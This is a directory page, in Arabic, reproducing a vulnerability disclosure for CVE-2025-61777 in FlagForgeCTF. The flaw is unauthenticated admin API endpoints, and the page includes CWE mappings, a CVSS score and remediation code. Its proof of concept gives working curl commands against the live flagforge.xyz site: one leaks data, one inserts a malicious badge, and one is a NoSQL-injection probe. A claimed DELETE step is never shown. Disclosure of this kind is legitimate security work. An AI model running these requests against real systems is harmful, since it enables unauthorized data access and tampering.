Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-61777 — CVE على FlagForgeCTF في الإصدارات من v2.0.0 إلى v2.3.1. تمت الترقية إلى الإصدار 2.3.2 لإصلاح المشكلة. | Kitploit
أدوات/GitHubGitHub/0x0w1z/cve-2025-61777
تحليل الثغرات الأمنيةالاستغلالأمن الويباختبار الاختراقأمن واجهات برمجة التطبيقات
GitHub0x0w1z/cve-2025-61777

CVE-2025-61777

CVE على FlagForgeCTF في الإصدارات من v2.0.0 إلى v2.3.1. تمت الترقية إلى الإصدار 2.3.2 لإصلاح المشكلة.

عرض المستودع
2منذ 10 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2025-61777

1. تعديل غير مصرح به لقالب الشارات على FlagforgeCTF CVE-2025-61777

الملخص

يكشف تطبيق Flagforge (https://flagforge.xyz) عن ثغرات أمنية حرجة في نقاط نهاية واجهة برمجة التطبيقات الإدارية الخاصة به، وتحديداً /api/admin/badge-templates (GET) و /api/admin/badge-templates/create (POST). تفتقر كلتا نقطتي النهاية إلى ضوابط المصادقة والتفويض، مما يسمح للمستخدمين غير المصادق عليهم باسترجاع بيانات قوالب الشارات الحساسة وإنشاء قوالب عشوائية في قاعدة بيانات MongoDB. قد يؤدي هذا إلى كشف غير مصرح به للبيانات، أو تلويث قاعدة البيانات، أو إساءة استخدام نظام الشارات (على سبيل المثال، إنشاء قوالب ضارة أو غير مرغوب فيها).

الوصف

نقاط النهاية المتأثرة

  1. GET /api/admin/badge-templates:
    • يُرجع مصفوفة JSON لجميع قوالب الشارات المخزنة في مجموعة badgeTemplates في MongoDB.
    • تشمل الحقول المكشوفة _id و name و description و icon و color و isActive و createdBy و createdAt و updatedAt و __v.
    • لا تتطلب أي ترويسات مصادقة أو مفاتيح API أو فحوصات جلسة، مما يجعل نقطة النهاية متاحة للجمهور.
    • استجابة نموذجية (من cURL):
root@kitploit:~
    x0w1z   ~  curl -i https://flagforge.xyz/api/admin/badge-templates
HTTP/2 200
access-control-allow-origin: https://flagforge.xyz
age: 0
cache-control: no-store, no-cache, must-revalidate, proxy-revalidate
content-type: application/json
date: Sat, 27 Sep 2025 11:17:35 GMT
permissions-policy: geolocation=(), microphone=(), camera=(), payment=()
pragma: no-cache
referrer-policy: no-referrer
server: Vercel
strict-transport-security: max-age=31536000; includeSubDomains; preload
vary: rsc, next-router-state-tree, next-router-prefetch, next-router-segment-prefetch
x-content-type-options: nosniff
x-frame-options: DENY
x-matched-path: /api/admin/badge-templates
x-vercel-cache: MISS
x-vercel-id: bom1::iad1::kbnlf-1758971855497-e981648f08c6
x-xss-protection: 1; mode=block
{"success":true,"templates":[{"_id":"68d18c6b3ddde4c2825273a1","name":"Staff","description":"Awarded for behind-the-scenes work that powers the community forward.","icon":"/badges/images/badge-1758563431839-63u7vxws5u.png","color":"#8B5CF6","isActive":true,"createdBy":"Lagzen Thakuri","createdAt":"2025-09-22T17:50:35.138Z","updatedAt":"2025-09-22T17:50:35.138Z","__v":0},{"_id":"68d18c073ddde4c282527398","name":"Bug Hunter","description":"Awarded for sharp eyes and a hacker’s mindset in finding weaknesses.","icon":"/badges/images/badge-1758563324750-h7zfukwxw7.png","color":"#8B5CF6","isActive":true,"createdBy":"Lagzen Thakuri","createdAt":"2025-09-22T17:48:55.675Z","updatedAt":"2025-09-22T17:48:55.675Z","__v":0},{"_id":"68ccfd395b3791025b51c200","name":"Security Researcher","description":"Earned by pushing boundaries and digging deeper into security.","icon":"/badges/custom/badge-1758264629375-0y4fdhdxjy5.png","color":"#8B5CF6","isActive":true,"createdBy":"[email protected]","createdAt":"2025-09-19T06:50:33.108Z","updatedAt":"2025-09-19T06:50:33.108Z","__v":0}],"count":3}%
  1. POST /api/admin/badge-templates/create:
    • يسمح بإنشاء قوالب شارات جديدة بحقول يتحكم فيها المستخدم: name و description و icon و color و isActive و createdBy.
    • فحوصات تحقق بسيطة لوجود name و description و icon، ويضمن عدم وجود name مكرر.
    • لا توجد فحوصات مصادقة أو تفويض، مما يمكن أي شخص من إدراج بيانات في قاعدة البيانات.
    • كود نموذجي (من المصدر المقدم):
      root@kitploit:~
      const templateDoc = {
        name: name.trim(),
        description: description.trim(),
        icon: icon.trim(),
        color: color || '#8B5CF6',
        isActive: isActive !== undefined ? isActive : true,
        createdAt: new Date(),
        createdBy: createdBy || 'unknown'
      };
      const result = await db.collection('badgeTemplates').insertOne(templateDoc);
      

نقاط الضعف

  • CWE-200: كشف المعلومات الحساسة لجهة غير مصرح لها (نقطة نهاية GET): يكشف معرّفات المستخدمين (مثل Lagzen Thakuri و [email protected]) والبيانات الوصفية، مما يتيح الاستطلاع أو التصيد.
  • CWE-306: غياب المصادقة للوظائف الحرجة (كلتا نقطتي النهاية): لا توجد ضوابط وصول على المسارات الإدارية.
  • CWE-284: ضعف التحكم في الوصول (كلتا نقطتي النهاية): يسمح باسترجاع وتعديل البيانات بشكل غير مصرح به.
  • احتمالية حقن NoSQL: بينما تقوم نقطة نهاية POST بتفكيك الحقول بشكل صريح، قد تكون نقطة نهاية GET عرضة للخطر إذا كانت تدعم معاملات الاستعلام (مثل ?name[$ne]=test).
  • خطر تلوث السجلات: تسجل نقطة نهاية POST حقلي name و createdBy اللذين يتحكم فيهما المستخدم، مما قد يُساء استخدامه لإغراق السجلات أو حقنها.

درجة CVSS v3.1

  • الدرجة الأساسية: 9.1 (حرجة)
  • المتجه: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
    • متجه الهجوم (AV): الشبكة (نقاط نهاية متاحة للجمهور).
    • تعقيد الهجوم (AC): منخفض (لا توجد شروط خاصة مطلوبة).
    • الامتيازات المطلوبة (PR): لا شيء (لا حاجة للمصادقة).
    • تفاعل المستخدم (UI): لا شيء (طلبات HTTP مباشرة).
    • النطاق (S): غير متغير (يؤثر على التطبيق نفسه).
    • السرية (C): عالية (يكشف بيانات المستخدم).
    • السلامة (I): عالية (يسمح بإنشاء بيانات عشوائية).
    • التوفر (A): منخفض (احتمال رفض الخدمة عبر إنشاء قوالب جماعية).

الأنظمة المتأثرة

  • التطبيق: Flagforge (https://flagforge.xyz)
  • المكونات:
    • مسارات API الخاصة بـ Next.js: /api/admin/badge-templates (GET) و /api/admin/badge-templates/create (POST).
    • قاعدة بيانات MongoDB: مجموعة badgeTemplates.
  • الاستضافة: Vercel (بدون خادم، مستنتج من ترويسة server: Vercel).
  • الإصدارات: غير معروفة (يفترض Next.js 13+ بناءً على صيغة NextRequest/NextResponse).
  • التبعيات: مشغل MongoDB (عبر أداة الاتصال المخصصة @/utlis/db)، Next.js.

التأثير

  • السرية: كشف معرّفات المستخدمين (createdBy) والبيانات الوصفية (createdAt، updatedAt)، والتي يمكن استخدامها للهندسة الاجتماعية أو الهجمات المستهدفة.
  • السلامة: إنشاء غير مصرح به لقوالب الشارات، مما قد يؤدي إلى رسائل غير مرغوب فيها أو تصيد أو عرض محتوى ضار في التطبيق.
  • التوفر: احتمالية رفض الخدمة (DoS) عبر إغراق نقطة نهاية POST بإنشاء القوالب، مما يستهلك موارد قاعدة البيانات.
  • قابلية الاستغلال: عالية، حيث أن نقاط النهاية متاحة للجمهور عبر طلبات HTTP بسيطة (مثل cURL أو Postman) دون أي حواجز مصادقة.

إثبات المفهوم

  1. استرجاع البيانات الحساسة (GET):

    root@kitploit:~
    curl https://flagforge.xyz/api/admin/badge-templates
    
    • يُرجع قائمة JSON بجميع قوالب الشارات، بما في ذلك الحقول الحساسة مثل createdBy (مثل [email protected]).
  2. إنشاء قالب غير مصرح به (POST) وإزالة القوالب (DELETE):

    root@kitploit:~
    curl -X POST https://flagforge.xyz/api/admin/badge-templates/create \
      -H "Content-Type: application/json" \
      -d '{"name":"MaliciousBadge","description":"Hacked","icon":"evil.svg","createdBy":"attacker"}'
    
    • ينشئ قالباً جديداً في مجموعة badgeTemplates.
    • يزيل قوالب الشارات.
    • تحقق من ذلك بإعادة تشغيل طلب GET للتأكد من ظهور القالب الجديد.
  3. احتمالية حقن NoSQL (GET، إذا كانت معاملات الاستعلام مدعومة):

    root@kitploit:~
    curl https://flagforge.xyz/api/admin/badge-templates?name[$regex]=.*
    
    • اختبر ما إذا كانت نقطة النهاية تعالج عوامل تشغيل MongoDB، مما قد يتجاوز عوامل التصفية أو يكشف بيانات إضافية.

التوصيات

الإصلاحات الفورية

  1. تنفيذ المصادقة:
    • أضف برمجية وسيطة للتحقق من هوية المستخدم (مثل JWT أو NextAuth.js أو مفاتيح API) لكلتا نقطتي النهاية.
      root@kitploit:~
      // مثال على برمجية وسيطة لنقطة نهاية POST
      export async function POST(request: NextRequest) {
        const authHeader = request.headers.get('authorization');
        if (!authHeader || !verifyToken(authHeader)) { // نفذ verifyToken
          return NextResponse.json({ error: 'Unauthorized' }, { status: 401 });
        }
        // ... الكود الموجود ...
      }
      
  2. تقييد نقطة نهاية GET:
    • قصر نقطة نهاية GET على المسؤولين المصادق عليهم أو إرجاع بيانات بسيطة (مثل استبعاد createdBy).
    • إذا كانت معاملات الاستعلام مدعومة، عقم المدخلات لمنع حقن NoSQL.

المراجع

  • CWE-200: https://cwe.mitre.org/data/definitions/200.html
  • CWE-306: https://cwe.mitre.org/data/definitions/306.html
  • CWE-284: https://cwe.mitre.org/data/definitions/284.html
  • OWASP API Security Top 10: https://owasp.org/www-project-api-security/
  • حاسبة CVSS v3.1: https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator
تنزيل الأداة